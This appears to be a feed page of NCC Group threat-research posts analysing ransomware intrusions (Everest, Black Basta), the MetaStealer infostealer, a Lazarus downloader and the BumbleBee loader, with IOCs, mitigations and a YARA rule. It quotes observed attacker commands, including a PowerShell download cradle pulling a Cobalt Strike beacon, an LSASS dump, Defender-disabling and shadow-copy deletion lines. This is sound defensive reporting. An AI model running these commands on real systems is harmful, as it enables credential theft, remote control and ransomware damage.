There are new articles available, click to refresh the page.
Before yesterdayNCC Group Research

Top of the Pops: Three common ransomware entry techniques

by Michael Mathews

Ransomware has been a concern for everyone over the past several years because of its impact to organisations with the added pressure of extortion and regulatory involvement. However, the question always arises as to how we prevent it. Prevention is better than cure and hindsight is a virtue. This blog post aims to cover some high-level topics around ransomware groups, affiliates and their initial entry tactics.

Something to consider is the fact that ransomware has moved quickly into a Ransomware as a Service (RaaS) model, whereby affiliates are being provided all the weaponry and playbooks required to carry out their objectives. Given the simplicity of this approach, and the fact that the tactics are repeatable, there are a number of preventative measures that can be taken. Using this, we have devised this blog post to provide a short list of the top initial entry methods observed from the front line whilst responding to incidents over the past 6 months.


ProxyShell is the collective name used to describe the vulnerabilities, released between April and July 2021, affecting Microsoft Exchange. This vulnerability has been covered in detail elsewhere [1], therefore for conciseness, they can be summarised as:

  • ACL Bypass (CVE-2021-34473)
  • Privilege Escalation (CVE-2021-34523)
  • Remote Code Execution (CVE-2021-31207)

Due to the Exchange infrastructure being externally facing, affiliates cast their nets far and wide scanning for victims that have failed to patch and thus begin their attacks by using ProxyShell as their initial foothold.


  • KB5001779
  • KB5003435

Patching! Patches were released in May 2021 by Microsoft to mitigate the vulnerabilities in the form of Windows update codes:

Microsoft Exchange Online or Office365, as more commonly referred to, was not affected. SaaS is a well placed alternative and provides a barrier to your on-premises network (with appropriate security controls).

Externally Facing Infrastructure

Whilst we could classify Exchange under this term, it deserved its own spot given it is a firm favourite with ransomware groups (partly due to its success rate). In this category, we will cover another favourite, specifically referring to firewalls.

FireWalls and other perimeter security solutions have grown ever more complex and offer a wide variety of services outside of allowing and denying network traffic on the perimeter, most notably VPN’s.

A prime example of this is a vulnerability that was exploited in FortiGate devices, CVE-2018-13379. The vulnerability itself was directory traversal but, it did provide access to sensitive files which contained plaintext passwords. In turn, you have your recipe for disaster and a ransomware actors initial entry point. The username and password could be used to authenticate with the VPN and gives  threat actors a foothold on the internal network. However, this is just one example, on several occasions we have observed firewalls being targeting and successfully leveraged as an entry point into the network.


Once again patching, edge network devices are extremely vulnerable given their position within the network, the precise device you are using to keep threat actors at bay may in fact be the target in the first place. Ensure you have a robust patching policy, and your devices are updated frequently.

Second, multi factor authentication (MFA) is critical to mitigate standard username/password-based attacks. Although a vulnerability is exploited to gain access to credentials in this instance, phishing would have had the same impact if VPN credentials were targeted.

Exposed Remote Desktop (other VDI solutions)

An old favourite, the GUI interface of RDP. Whilst a great way to connect to a remote device, it does not really have a place on the internet. If you are seeing your failed login count hit numbers you cannot easily say, there may be an underlying problem that could be a host exposing RDP to the internet.

When paired with weak security controls, weak credentials (domain or local), no lockout policy, you are effectively providing a free shot to affiliates to take a gamble and gain access to your network. This is most prominent with development environments, setup with default settings, a weak local password and publicly available for ease of use. This is especially prevalent in cloud environments where build images inherit several security flaws through poor configuration but allow users to stand up infrastructure quickly.


Use a enterprise VPN solution with MFA configured to access internal resources from remote locations.

Treat development environments with care and ensure build images have appropriate security controls and protective monitoring in place.

Proactive Measures

Taking a proactive stance to ensure the integrity of your network is critical, it is never too late to begin to harden your defences or at least verify you are secured. However, if you need support or help to assess the scale of the issue, we can help:

  • Unsure if you are affected by any of these vulnerabilities or misconfigurations?
  • You have identified a host that is vulnerable is requires further investigation?
  • Concerned about what is lurking in the wider network?

If you have been impacted by any of these issues, or currently have an incident and would like support, please contact our Cyber Incident Response Team at +44 161 209 5148 / [email protected]

[1] https://www.ncsc.gov.ie/pdfs/MS_Proxyshell_060921.pdf`

Climbing Mount Everest: Black-Byte Bytes Back?

Authored by: Michael Mullen and Nikolaos Pantazopoulos



In the Threat Pulse released in November 2021 we touched on Everest Ransomware group. This latest blog documents the TTPs employed by a group who were observed deploying Everest ransomware during a recent incident response engagement.

In summary, we identified the following key TTPs:

  • Lateral Movement through Remote Desktop Protocol (RDP)
  • Gathering of internal IP addresses for hosts on the network
  • Local LSASS dumps
  • NTDS.dit dumps
  • Installation of Remote Access Tools for persistence

Everest Ransomware

Earlier reports [1] have linked Everest ransomware as part of the Everbe 2.0 family, which is composed of Embrace, PainLocker, EvilLocker and Hyena Locker ransomware. However, after recovering and analysing an Everest ransomware file, we assess with medium confidence that Everest ransomware is related to Black-Byte.

Everest TTPs

Lateral Movement

The threat actor was observed using legitimate compromised user accounts and Remote Desktop Protocol (RDP) for lateral movement.

Credential Access

ProcDump was used to create a copy of the LSASS process in order to access additional credentials. The following command was observed being executed:

C:\Users\<Compromised User>\Desktop\procdump64.exe -ma lsass.exe C:\Users\<Compromised User>\Desktop\lsass<victim’s domain name>.dmp, for example lsasscontoso.dmp.

A copy of the NTDS database was also created with a file name of ntds.dit.zip.

Defence Evasion

Throughout the incident the threat actor routinely removed tooling, reconnaissance output files and data collection archives from hosts.


Network discovery was observed upon the compromise of a new host. This activity was primarily conducted via the use of netscan.exe, netscanpack.exe and SoftPerfectNetworkScannerPortable.exe. These tools allow network scans to identify further hosts of interest as well as building a target list for ransomware deployment.   

The output of these tools were saved as text files in the C:\Users\Public\Downloads\ directory. Examples of these have been included below:

  • C:\Users\Public\Downloads\subnets.txt
  • C:\Users\Public\Downloads\trustdumps.txt


The threat actor installed the WinRAR application on a file server which was then used to archive data ready for exfiltration.

Command and Control

Cobalt Strike was the primary command and control mechanism used by the threat actor. This was executed on hosts using the following command:

powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring(<IP Address>/a'))

Additionally, a Metasploit payload was identified within the path C:\Users\Public\l.exe.

The following Remote Access Tools were also deployed by the threat actor as a secondary command and control method, in addition to added persistence with the tools being installed as a service

  • AnyDesk
  • Splashtop Remote Desktop
  • Atera


The threat actor utilised the file transfer capabilities of Splashtop to exfiltrate data out of the network.


Everest’s action on objectives appears to focus on data exfiltration of sensitive information as well as encryption, commonly referred to as double extortion.

Indicators of Compromise

IOC (indicators of compromise) Value Indicator Type Description
netscan.exe File name SoftPerfect Network Scanner
netscanpack.exe File name This was unable to be analysed during the investigation.
svcdsl.exe File name SoftPerfect Network Scanner Portable
Winrar.exe File name Popular archiving tool, which supportsencryption.
subnets.txt File name Network Discovery output file
trustdumps.txt File name Network Discovery output file
l.exe File name Metasploit payload
hxxp://3.22.79[.]23:8080/ URL Site hosting Cobalt Strike beacon
hxxp://3.22.79[.]23:8080/a URL Site hosting Cobalt Strike beacon
hxxp://3.22.79[.]23:10443/ga.js URL Cobalt Strike C2
hxxp://18.193.71[.]144:10443/match URL Cobalt Strike C2
hxxp://45.84.0[.]164:10443/o6mJ URL Meterpreter C2


The recovered ransomware binary is attributed to (based on the ransomware note) the ‘Everest group’. However, after analysing it, we identified/attributed the sample to Black-Byte (C# variant instead of Go). It should be noted that the sample’s compilation timestamp does match the incident’s timeline.

Even though the sample’s functionality remains the same, we noticed that it does not download the key from a server anymore. Instead, it is (randomly) generated on the compromised host. In addition, the ransomware’s onion link is different.

Based on our findings, we cannot confirm if a different threat actor copied the source code of Black-Byte and started using it or if the Black-Byte have indeed started using again the C# ransomware variant.


Tactic Technique ID Description
Initial Access External Remote Services T1133 Initial Access was through an insecure external service
Execution Command and Scripting Interpreter: PowerShell T1059.001 Threat actor utilised PowerShell to execute malicious commands
Execution Command and Scripting Interpreter: Windows Command Shell T1059.003 Threat actor utilised Windows Command Shell to execute malicious commands
Lateral Movement Remote Services: Remote Desktop Protocol T1021.001 Lateral movement was observed utilising RDP
Persistence Create or Modify System Process: Windows Service T1543.003 Threat actor installed remote desktop software tools as services for persistence
Credential Access OS Credential Dumping: LSASS Memory T1003.001 The tool Procdump was used to create a copy of the LSASS process
Credential Access OS Credential Dumping: NTDS T1003.003 The NTDS.dit was copied
Defence Evasion Indicator Removal on Host: File deletion T1070.004 Threat actor routinely deleted tooling and output
Discovery Network Service Discovery T1046 Threat actor utilised numerous network discovery tools – Netscan and SoftPerfectNetworkScanner
Collection Archive Collected Data: Archive via Utility T1560.001 Threat actor archived data using WinRAR
Command and Control Application Layer Protocol: Web Protocols T1071.001 Cobalt Strike was implemented using HTTPS for C2 traffic
Command and Control Remote Access Software T1219 Threat actor utilised remote access software – Anydesk, Splashtop and Atera
Exfiltration Exfiltration Over C2 Channel T1041 Data exfiltration was conducted using the Splashtop application
Impact Data Encrypted for Impact T1486 Data was encrypted for impact


Shining the Light on Black Basta

Authored by: Ross Inman (@rdi_x64) and Peter Gurney



This blog post documents some of the TTPs employed by a threat actor group who were observed deploying Black Basta ransomware during a recent incident response engagement, as well as a breakdown of the executable file which performs the encryption.

A summary of the findings can be found below:

  • Lateral movement through use of Qakbot.
  • Gathering internal IP addresses of all hosts on the network.
  • Disabling Windows Defender.
  • Deleting Veeam backups from Hyper-V servers.
  • Use of WMI to push out the ransomware.
  • Technical analysis of the ransomware executable.

Black Basta

Black Basta are a ransomware group who have recently emerged, with the first public reports of attacks occurring in April this year. As is popular with other ransomware groups, Black Basta uses double-extortion attacks where data is first exfiltrated from the network before the ransomware is deployed. The threat actor then threatens to leak the data on the “Black Basta Blog” or “Basta News” Tor site. There are two Tor sites used by Black Basta, one which leaks stolen data and one which the victims can use to contact the ransomware operators. The latter site is provided in the ransom note which is dropped by the ransomware executable.

Black Basta TTPs

Lateral Movement

Black Basta was observed using the following methods to laterally move throughout the network after their initial access had been gained:

  • PsExec.exe which was created in the C:\Windows\ folder.
  • Qakbot was leveraged to remotely create a temporary service on a target host which was configured to execute a Qakbot DLL using regsvr32.exe:
    • regsvr32.exe -s \\<IP address of compromised Domain Controller>\SYSVOL\<random string>.dll
  • RDP along with the deployment of a batch file called rdp.bat which contained command lines to enable RDP logons. This was used to allow the threat actor to establish remote desktop sessions on compromised hosts, even if RDP was disabled originally:
    • reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0 /f
    • net start MpsSvc
    • netsh advfirewall firewall set rule group="Remote Desktop" new enable=yes
    • reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v "UserAuthentication" /t REG_DWORD /d 0 /f

Defense Evasion

During the intrusion, steps were taken by the threat actor in order to prevent interference from anti-virus. The threat actor was observed using two main techniques to disable Windows Defender.

The first used the batch script d.bat which was deployed locally on compromised hosts and executed the following PowerShell commands:

  • powershell -ExecutionPolicy Bypass -command "New-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender' -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force"
  • powershell -ExecutionPolicy Bypass -command "Set-MpPreference -DisableRealtimeMonitoring 1"
  • powershell -ExecutionPolicy Bypass Uninstall-WindowsFeature -Name Windows-Defender

The second technique involved creating a GPO (Group Policy Object) on a compromised Domain Controller which would push out the below changes to the Windows Registry of domain-joined hosts:

Figure 1 Parsed Registry.pol of the created GPO


A text file in the C:\Windows\ folder named pc_list.txt was present on two compromised Domain Controllers, both contained a list of internal IP addresses of all the systems on the network. This was to supply the threat actor with a list of IP addresses to target when deploying the ransomware. 

Command and Control

Qakbot was the primary method utilised by the threat actor to maintain their presence on the network. The threat actor was also observed using Cobalt Strike beacons during the compromise.


Prior to the deployment of the ransomware, the threat actor established RDP sessions to Hyper-V servers and from there modified configurations for the Veeam backup jobs and deleted the backups of the hosted virtual machines.

An encoded PowerShell command was observed on one of the compromised Domain Controllers which, when decoded, yielded a script labelled as Invoke-TotalExec that provided the ability to spread and execute files over the network using WMI (Windows Management Instrumentation). The script appears to have been run to push out the ransomware binary to the IP addresses contained within the file C:\Windows\pc_list.txt. Analysis of the script indicates that two log files are created:

  • C:\Windows\Temp\log.info – Contains log entries for successful attempts.
  • C:\Windows\Temp\log.dat – Contains log entries for unsuccessful attempts.

For the incident investigated by NCC Group CIRT, only the latter log file had data. The log file contained entries relating to failed uploads for all the IP addresses from pc_list.txt, indicating that the threat actor attempted to deploy the ransomware executable across all hosts on the network, however this had failed.  Despite this, the ransomware was still deployed to Hyper-V servers and the Domain Controllers.


  1. Hypervisors should be isolated by placing them in a separate domain or by adding them to a workgroup to ensure that any compromise in the domain in which the hosted virtual machines reside does not pose any risk to the Hypervisors.
  2. Ensure that both online and offline backups are taken and test the backup strategy regularly to identify any weak points that could be exploited by an adversary.
  3. Restrict internal RDP and SMB traffic ensuring only hosts that are required to communicate via these protocols are allowed to.

Indicators of Compromise

IOC Value Indicator Type Description
23.106.160[.]188 IP Address Cobalt Strike Command-and-Controller server
eb43350337138f2a77593c79cee1439217d02957 SHA1 Batch script which enabled RDP on the host (rdp.bat)  
920fe42b1bd69804080f904f0426ed784a8ebbc2 SHA1 Batch script to disable Windows Defender (d.bat)
C:\Windows\PsExec.exe Filename PsExec
C:\Windows\SYSVOL\sysvol\<random string>.dll Filename Qakbot payload
C:\Windows\Temp\log.info C:\Windows\Temp\log.dat Filename Invoke-TotalExec output log files

Ransomware Technical Analysis 

Shadow Copy Deletion 

Upon execution, Black Basta performs several operations before launching its encryption activities. 

The Mutex ‘dsajdhas.0’ is checked before issuing the two vssadmin.exe commands listed below. Although the Mutex is static in this sample it is expected to change across future samples. 

C:\\Windows\\SysNative\\vssadmin.exe delete shadows /all /quiet 
C:\\Windows\\System32\\vssadmin.exe delete shadows /all /quiet 

These result in the deletion of shadow copies ensuring they cannot be used for recovery purposes. 

Wallpaper icon modification 

Following deletion of the shadow copies, two files are obtained from the binary. Firstly, a JPG file in the currently analysed sample is saved as ‘dlaksjdoiwq.jpg’, used as a wallpaper on targeted devices. The image used can be seen below in Figure 2. 

Figure 2 Desktop wallpaper image 

The second dropped file is an icon file obtained from within the binary and used as a default icon for all files with extension. basta. The file is saved in the currently analysed sample with the name fkdjsadasd.ico within the %Temp% directory, for example:


The icon used can be seen below in Figure 3. 

Figure 3 Basta icon 

The wallpaper is modified to display the dropped JPG through the registry located at HKCU\Control Panel\Desktop\Wallpaper, setting the path to the JPG as seen below in Figure 4.  

Figure 4 String de-obfuscation example 

The next operation creates a new registry key with the name .basta under HKEY_CLASSES_ROOT and sets the DefaultIcon subkey to display the dropped .ico file. This results in files given a .basta file extension inheriting the Black Basta logo. The registry key can be seen below in Figure 5. 

Figure 5 Desktop wallpaper image 

Ransom Note 

The ransomware note is stored within the binary and written to a text file named readme.txt, as shown in Figure 6. This file is written to folders throughout the system. The content comprises a standard Black Basta template with a URL to a Tor site where victims can negotiate with operators. 

A company ID is also present, which varies between compromises. 

Figure 6 Ransom Note 


In an attempt to avoid encrypting files or folders that are likely essential to the operation of the target machine or Black Basta itself, several exclusions are in place that will prevent encrypting specific files. This includes several extensions, folders and files listed below. 

Extension exclusions: 

  • exe 
  • cmd 
  • bat 
  • com 
  • bat 
  • basta 

File Folder exclusions: 

  • $Recycle.Bin 
  • Windows 
  • Documents and Settings 
  • Local Settings 
  • Application Data
  • OUT.txt
  • Boot
  • Readme.txt
  • Dlaksjdoiwq.jpg
  • fkdjsadasd.iso

A copy of the ransom note is placed where an eligible folder is found, and suitable files discovered within the folder are passed for encryption. 


Several threads are created that are responsible for performing the encryption activity. Each file that is not skipped by the previously mentioned exclusions is encrypted using the ChaCha20 cypher. 

The encryption key is generated using the C++ rand_s function resulting in a random 40-byte hexadecimal output.  

Figure 7 Random generation output 

The first 32 bytes are used as the ChaCha20 encryption key. 

Figure 8 Encryption key 

The last 8 bytes are used as the ChaCha20 nonce. 

Figure 9 Nonce 

The encryption key is encrypted using an implementation of RSA provided through the Mini GMP library. A public key is obtained from the binary that results in an output similar to the below output in Figure 10. 

Figure 10 Encrypted encryption key 

Black Basta, as with many ransomware variants, doesn’t encrypt the entire file, instead only partially encrypts the file to increase the speed and efficiency of encryption. Black Basta achieves this by only encrypting 64-byte blocks of a file interspaced by 128-bytes. This can be seen in Figure 11 below, where the first two encrypted data blocks are shown.  

Figure 11 Example encrypted file 

To further demonstrate this, an unencrypted version of the file can be seen below in Figure 12. 

Figure 12 Example of the unencrypted file 

Finally, the earlier generated RSA encrypted key and 0x00020000 are appended to the end of the file, which would be used for decryption purposes. 

Figure 13 appended encrypted key and hex 

Following successful encryption of a file, its extension is changed to .basta which automatically adjusts its icon to the earlier drop icon file. An example of what a victim would be presented with can be seen below in Figure 14. 

Figure 14 example post encrypted desktop 

While the ransom note threatens victims with the publication of data if the ransom is not met, initial analysis has not uncovered a mechanism for exfiltration. With access to the private key counterpart of the public key used earlier, recovery of the ChaCha20 encryption key by operators should be possible allowing for file decryption. No weakness in the encryption was discovered during analysis that would provide an opportunity for decryption without the private RSA key. 

Metastealer – filling the Racoon void

Author: Peter Gurney


MetaStealer is a new information stealer variant designed to fill the void following Racoon stealer suspending operations in March of this year. Analysts at Israeli dark web intelligence firm Kela first identified its emergence on underground marketplaces [1] and later as being used in a spam campaign by SANS Internet Storm Centre Handler Brad Duncan [2], where the initial stages and traffic were detailed. This analysis further describes the final MetaStealer payload detailing its functionality.

Significant findings include:

  • Heavy reliance on open-source libraries
  • Microsoft Defender Bypass
  • Scheduled Task Persistence
  • Password Stealer
  • Keylogger
  • Hidden VNC server
 Figure 1 MetaStealer Loader Execution

Technical Analysis

Defender Bypass

Early on in execution, the below command is executed using PowerShell:

powershell -inputformat none -outputformat none –NonInteractive -Command Add-MpPreference -ExclusionExtension "exe"

As can be seen below in Figure 2 the command adds an exclusion rule to Microsoft Defender, effectively turning off scanning of files with ‘.exe’ extension. This decreases the chances of the main payload being detected as well as any subsequent payloads that may be delivered to the target host post infection.

Figure 2 Defender Exclusion

With the Microsoft Defender exclusion in place another PowerShell command is issued that proceeds to rename the original file to a hardcoded value with an .exe extension. In this case {Original filename}.xyz to hyper-v.exe

powershell rename-item -path .xyz -newname hyper-v.exe


To maintain persistence, a scheduled task is created using The Component Object Model (COM), a task named sys is created in the folder \Microsoft\Windows’ The task is set to trigger at user login, ensuring the malware remains persistent across reboots.

Figure 3 String de-obfuscation example

String Obfuscation

While several strings from included libraries are visible within the sample, the majority of strings within MetaStealer’s main code are encrypted and only decrypted as needed during runtime. To achieve this, the encrypted strings are moved onto the stack and decrypted with a bitwise XOR operation for use during execution. A Python representation of the routing can be seen below with an example seen below in Figure 4

def swap32(x):
    return int.from_bytes(x.to_bytes(8, byteorder='little'), byteorder='big', signed=False)

def split_hex(input):
    text = hex(input)
    text = text[2:]
    text = text.zfill(len(text) + len(text) % 2)
    output = " ".join(text[i: i+2] for i in range(0, len(text), 2))
    return(output.split(' '))

hexIntXOR = []
hexIntKey = []


hexbytesxor = []
hexbyteskey = []

for HexInt in hexIntXOR:
    hexBytes = split_hex(HexInt)
    hexbytesxor = hexbytesxor + hexBytes

for HexInt in hexIntKey:
    hexBytes = split_hex(HexInt)
    hexbyteskey = hexbyteskey + hexBytes

count = 0
for hexByte in hexbytesxor:
    print(chr(int(hexByte, base=16) ^ int(hexbyteskey[count], base=16)), end='')
Figure 4 String de-obfuscation example

Command and Control

PCAPs from the SANS Internet Storm Centre report show that while initial C2 registration traffic was successful, later requests resulted in an HTTP 400 error code reply. Our own tests confirm this behaviour indicating this specific campaign was short-lived with commands no longer issued to new infections. This is likely a direct attempt to limit further analysis of the command and control communication protocol by analysts.

The sample contains a hardcoded Command and Control  server, in this case, 193.106.191[.]162:1775, which is decrypted by the standard string decryption routine described in the previous section.

Connection to the command and control infrastructure is performed over HTTP using the library ‘cpp-httplib’ [3], resulting in the user agent cpp-httplib/0.10.1 being used.

The initial connection is performed to the URL path /api/client/new, decrypted using the XOR routine detailed earlier. This connection is simply a get request with no further information included and expects a reply in JSON format, as can be seen in Figure 5

Figure 5 Registration connection

The UUID in the ok key is used as a BotId and changes on each new registration request.

To parse the JSON string, another open-source library is utilised (Nlohmann JSON [4]), extracting the BotId, which is subsequently written to the file %localappdata%\hyper-v.ver in plaintext allowing the BotId to remain persistent across reboots.

The second request to the command and control server begins with a new JSON object being created utilising the Nlohmann JSON library. The UUID key is populated with the UUID received from the earlier registration request.

Figure 6 get worker request body

The URL path /tasks/get_worker is decrypted and used to make a POST request to the command and control server, including the UUID JSON string. At the time of writing, the server replies to this command with a HTTP 400 error code as seen in Figure 7.

Figure 7 get worker request

The final identified command and control request uses the URL path ‘/tasks/collect’ following the completion of any tasks issued. A POST request is made detailing the success or failure of the task along with additional data such as stolen information or command output.

Command and Control Commands

Command ID Function Description
1001 System Information Spawn cmd.exe process with the command line system info and read output using attached pipes.
1002 Cookie Stealer Access Cookie data from the following locations (location can change based on a currently installed version check): Chrome ‘C:\Users\{user}\AppData\Local\Google\Chrome\User Data\Default{\Network (depending on version check) }\Cookies’ Firefox C:\Users\{user}\AppData\Roaming\Mozilla\Firefox\Profiles\cookies.sqlite Edge C:\Users\{user}\AppData\Local\Microsoft\Edge\User Data\Default{\Network (depending on version check) }\Cookies
1003 Password Stealer Access saved password data from the following locations: Chrome C:\Users\{user}\AppData\Local\Google\Chrome\User Data\Default\Login Data Firefox C:\Users\{user}\AppData\Roaming\Mozilla\Firefox\Profiles\ logins.json / signons.sqlite C:\Users\{user}\AppData\Local\Microsoft\Edge\User Data\Default\LoginData  
1004 Start keylogger Start keylogger on the following applications: ChromeFirefoxNotepad
1005 Stop keylogger Stop Keylogger
1006 Start HVNC Setup Hidden Virtual Network Connection by creating a hidden desktop and network connectivity using sockets through the open-source library Kissnet [5]
1007 Stop HVNC Stop HNVC
1008 Execute Command Execute the given command using a spawned cmd.exe process and read the result using connected pipes.
Table 1 Command and Control Commands



  • 193.106.191[.]162:1775
  • cpp-httplib/0.10.1
  • hyper-v.exe


rule metaStealer_memory {
      description = "MetaStealer Memory"
      author = "Peter Gurney"
      date = "2022-04-29"
      $str_c2_parse = {B8 56 55 55 55 F7 6D C4 8B C2 C1 E8 1F 03 C2 8B 55 C0 8D 04 40 2B 45 C4}
      $str_filename = ".xyz -newname hyper-v.exe" fullword wide
      $str_stackstring = {FF FF FF C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 0F EF}
      uint16(0) == 0x5a4d and
      2 of ($str_*)


[1]        https://www.bleepingcomputer.com/news/security/new-blackguard-password-stealing-malware-sold-on-hacker-forums/

[2]        https://isc.sans.edu/forums/diary/Windows+MetaStealer+Malware/28522/

[3]        https://github.com/yhirose/cpp-httplib

[4]        https://github.com/nlohmann/json

[5]        https://github.com/Ybalrid/kissnet

North Korea’s Lazarus: their initial access trade-craft using social media and social engineering

Authored by: Michael Matthews and Nikolaos Pantazopoulos


This blog post documents some of the actions taken during the initial access phase for an attack attributed to Lazarus, along with analysis of the malware that was utilised during this phase.

The methods used in order to gain access to a victim network are widely reported however, nuances in post-exploitation provide a wealth of information on attack paths and threat hunting material that relate closely to TTP’s of the Lazarus group.

In summary, we identified the following findings:

  • Lazarus used LinkedIn profiles to impersonate employees of other legitimate companies
  • Lazarus communicated with target employees through communication channels such as WhatsApp.
  • Lazarus entices victims to download job adverts (zip files) containing malicious documents that lead to the execution of malware
  • The identified malicious downloader appears to be a variant of LCPDOT
  • Scheduled tasks are utilised as a form of persistence (rundll32 execution from a scheduled task)

Initial Access

In line with what is publicly documented[1], the initial entry revolves heavily around social engineering, with recent efforts involving the impersonation of Lockheed Martin employees with LinkedIn profiles to persuade victims into following up with job opportunities that result in a malicious document being delivered.

In this instance, the domain hosting the document was global-job[.]org, likely attempting to impersonate globaljobs[.]org, a US based government/defence recruitment website. In order to subvert security controls in the recent changes made by Microsoft for Office macros, the website hosted a ZIP file which contained the malicious document.

The document had several characteristics comparable to other Lazarus samples however, due to unknown circumstances, the “shapes” containing the payloads were unavailable and could not be analysed.

Following the execution of the macro document, rundll32.exe is called to execute the DLL C:\programdata\packages.mdb, which then led to the initial command-and-control server call out. Unfortunately, the binary itself was no longer available for analysis however, it is believed that this component led to the LCPDot malware being placed on the victim’s host.


We were able to recover a malicious downloader that was executed as a scheduled task. The identified sample appears to be a variant of LCPDot, and it is attributed to the threat actor ‘Larazus’.

The file in question attempted to blend into the environment, leveraging the ProgramData directory once again C:\ProgramData\Oracle\Java\JavaPackage.dll. However, the file had characteristics that stand out whilst threat hunting:

  • Large file size (60mb+) – likely to bypass anti-virus scanning
  • Time stomping – timestamps copied from CMD.exe
  • DLL owned by a user in the ProgramData directory (Not SYSTEM or Administrator)

To execute LCPDot, a scheduled task was created named “Windows Java Vpn Interface”, attempting to blend into the system with the Java theme. The scheduled task executed the binary but also allowed the threat actor to persist.

The scheduled task was set to run daily with the following parameter passed for execution, running:


LCPDot Binary Analysis

The downloader’s malicious core starts in a separate thread and the execution flow is determined based on Windows messages IDs (sent by the Windows API function SendMessage).

In the following sections we describe the most important features that we identified during our analysis.

Initialisation Phase

The initialisation phase takes place in a new thread and the following tasks are performed:

  • Initialisation of class MoscowTownList. This class has the functionality to read/write the configuration.
  • Creation of configuration file on disk. The configuration file is stored under the filename VirtualStore.cab in %APPDATA%\Local folder. The configuration includes various metadata along with the command-and-control servers URLs. The structure that it uses is:
struct Configuration
 DWORD Unknown; //Unknown, set to 0 by default. If higher than 20 then it 
                // can cause a 2-hour delay during the network 
                // communication process.
 SYSTEMTIME Variant_SystemTime; // Configuration timestamp created by   
                                // SystemTimeToVariantTime.
 SYSTEMTIME Host_SystemTime; // Configuration timestamp. Updated during
                             // network communication process.
 DWORD Logical_drives_find_flag; // Set to 0 by default
 DWORD Active_sessions_flag; // Set to 0 by default
 DWORD Boot_Time; // Milliseconds since boot time
 char *C2_Data;// Command-and-Control servers’ domains

The configuration is encrypted by hashing (SHA-1) a random byte array (16 bytes) and then uses the hash output to derive (CryptDeriveKey) a RC4 key (16 bytes). Lastly it writes to the configuration file the random byte array followed by the encrypted configuration data.

  • Enumeration of logical drives and active logon sessions. The enumeration happens only if specified in the configuration. By default, this option is off. Furthermore, even if enabled, it does not appear to have any effect (e.g. sending them to the command-and-control server).

Once this phase is completed, the downloader starts the network communication with its command-and-control servers.

Network Communication

At this stage, the downloader registers the compromised host to the command-and-control server and then requests the payload to execute. In summary, the following steps are taken:

  • Initialises the classes Taxiroad and WashingtonRoad.
  • Creates a byte array (16 bytes), which is then encoded (base64), and a session ID. Both are sent to the server. The encoded byte array is used later to decrypt the received payload and is added to the body content of the request:
    redirect=Yes&idx=%d&num=%s, where idx holds the compromised host’s boot time value and num has the (BASE64) encoded byte array.
    In addition, the session ID is encoded (BASE64) and added to the following string:
    SESSIONID-%d-202110, where 202110 is the network command ID.
    The above string is encoded again (BASE64) and then added to the SESSIONID header of the POST request.

After registering the compromised host, the server replies with one of the following messages:

  • Validation Success – Bot registered without any issues.
  • Validation Error – An error occurred.

Once the registration process has been completed, the downloader sends a GET request to download the second-stage payload. The received payload is decrypted by hashing (SHA-1) the previously created byte array and then use the resulting hash to derive (CryptDeriveKey) a RC4 key.

Lastly, the decrypted payload is loaded directly into memory and executed in a new thread.

In summary, we identified the following commands (Table 1).

Command ID Description
202110 Register compromised host to the command-and-control server
202111 Request payload from the command-and-control server
Table 1 – Identified network commands

Unused Commands and Functions

One interesting observation is the presence of functions and network commands, which the downloader does not seem to use. Therefore, we concluded that the following network commands are not used by the downloader (at least in this variant) but we do believe that  the operators may use them on the server-side (e.g. in the PHP scripts that the downloader sends data) or the loaded payload does use them (Note: Commands 789020, 789021 and 789022 are by default disabled):

  • 202112 – Sends encrypted data in a POST request. Data context is unknown.
  • 202114 – Sends a POST request with body content ‘Cookie=Enable’.
  • 789020 – Same functionality as command ID 202111.
  • 789021 – Same functionality as command ID 202112.
  • 789022 – Sends a POST request with body content ‘Cookie=Enable’.

Indicators of Compromise


  • ats[.]apvit[.]com – Legitimate Compromised website
  • bugs-hpsm[.]mobitechnologies[.]com – Legitimate Compromised website
  • global-job[.]org
  • thefrostery[.]co[.]uk – Legitimate Compromised website
  • shoppingbagsdirect[.]com – – Legitimate Compromised website

IP Address

  • 13[.]88[.]245[.]250



MD5: AFBCB626B770B1F87FF9B5721D2F3235

SHA1: D25A4F20C0B9D982D63FC0135798384C17226B55

SHA256: FD02E0F5FCF97022AC266A3E54888080F66760D731903FC32DF2E17E6E1E4C64


MD5: 49C2821A940846BDACB8A3457BE4663C

SHA1: 0A6F762A47557E369DB8655A0D14AB088926E05B

SHA256: F4E314E8007104974681D92267673AC22721F756D8E1925142D9C26DC8A0FFB4


Technique ID
Phishing: Spearphishing via Service T1566.003
Scheduled Task/Job: Scheduled Task T1053.005
User Execution: Malicious File T1204.002
Application Layer Protocol T1071.001


[1] https://www.microsoft.com/security/blog/2021/01/28/zinc-attacks-against-security-researchers/

Adventures in the land of BumbleBee – a new malicious loader

Authored by: Mike Stokkel, Nikolaos Totosis and Nikolaos Pantazopoulos


BUMBLEBEE is a new malicious loader that is being used by several threat actors and has been observed to download different malicious samples. The key points are:

  • BUMBLEBEE is statically linked with the open-source libraries OpenSSL 1.1.0f, Boost (version 1.68). In addition, it is compiled using Visual Studio 2015.
  • BUMBLEBEE uses a set of anti-analysis techniques. These are taken directly from the open-source project [1].
  • BUMBLEBEE has Rabbort.DLL embedded, using it for process injection.
  • BUMBLEBEE has been observed to download and execute different malicious payloads such as Cobalt Strike beacons.


In March 2022, Google’s Threat Analysis Group [2] published about a malware strain linked to Conti’s Initial Access Broker, known as BUMBLEBEE. BUMBLEBEE uses a comparable way of distribution that is overlapping with the typical BazarISO campaigns.

In the last months BUMBLEBEE, would use three different distribution methods:

  • Distribution via ISO files, which are created either with StarBurn ISO or PowerISO software, and are bundled along with a LNK file and the initial payload.
  • Distribution via OneDrive links.
  • Email thread hijacking with password protected ZIPs

BUMBLEBEE is currently under heavy development and has seen some small changes in the last few weeks. For example, earlier samples of BUMBLEBEE used the user-agent ‘bumblebee’ and no encryption was applied to the network data. However, this functionality has changed, and recent samples use a hardcoded key as user-agent which is also acting as the RC4 key used for the entire network communication process.
